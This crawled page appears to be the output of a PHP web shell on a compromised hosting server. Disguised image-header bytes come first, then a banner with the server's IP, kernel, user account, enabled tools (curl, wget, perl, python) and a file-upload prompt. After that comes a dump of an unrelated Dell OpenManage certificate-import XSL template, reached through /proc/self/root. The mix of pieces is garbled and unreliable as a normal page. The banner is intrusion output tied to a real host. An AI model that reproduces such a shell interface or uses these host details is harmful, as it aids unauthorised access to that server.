����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.28 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/opt/dell/srvadmin/var/lib/openmanage/xslroot/X509/template/web/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
<xsl:template match="/OMA">
<DataArea validate="true" backpagetarget="./DataArea?plugin=security.X509.webplugins.CertoptionWebPlugin&help=Certificate&app=oma" enctype="true" exportdata="false">
<xsl:attribute name="backpagedisplay"><xsl:value-of select="$strCertificateManagement"/></xsl:attribute>
<xsl:attribute name="submit">./UploadCertServlet</xsl:attribute>
<xsl:attribute name="submitdisplay"><xsl:value-of select="$strImport"/></xsl:attribute>
<PageTitle>
<xsl:attribute name="display"><xsl:value-of select="$strCertificateImport"/></xsl:attribute>
</PageTitle>
<PromptText><xsl:value-of select="$strSelectTheCertificate"/></PromptText>
<ListData type="custom">
<Data name="file" type="file">
<xsl:attribute name="display"><xsl:value-of select="$strSelectCertificateFrom"/></xsl:attribute>
</Data>
<Data name="password" type="password" size="20">
<xsl:attribute name="display"><xsl:value-of select="$strImportPassword"/></xsl:attribute>
</Data>
<Data name="pkcs12" display=" " type="hidden" returnvalue="true"/>
</ListData>
<script language="javascript">
function validate()
{
var certtemp = document.getElementById("file");
if(certtemp.value == "")
{
alert("<xsl:value-of select="$strCertificateResponseFilename"/>");
document.getElementById("file").focus();
return false;
}
else if (!isValid(certtemp.value)){
alert("<xsl:value-of select="$strCertificateFilenameIs"/>");
document.getElementById("file").select();
document.getElementById("file").focus();
return false;
}
return true;
}
function isValid(text){
var validValue = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'*$,.!():[]+/~\\";
var ok = "yes";
var temp;
//Eliminate the spaces at the end
while(''+text.charAt(text.length-1)==' ')
{
text = text.substring(0,text.length-1);
}
for (var i=0; i<text.length; i++)
{
temp = "" + text.substring(i, i+1);
if (validValue.indexOf(temp) == -1)
{
if(temp != " ")
{
ok = "no";
break;
}
}
}
if (ok == "no")
{
return false;
}
return true;
}
</script>
</DataArea>
</xsl:template>
<xsl:template match="*"/>
</xsl:stylesheet>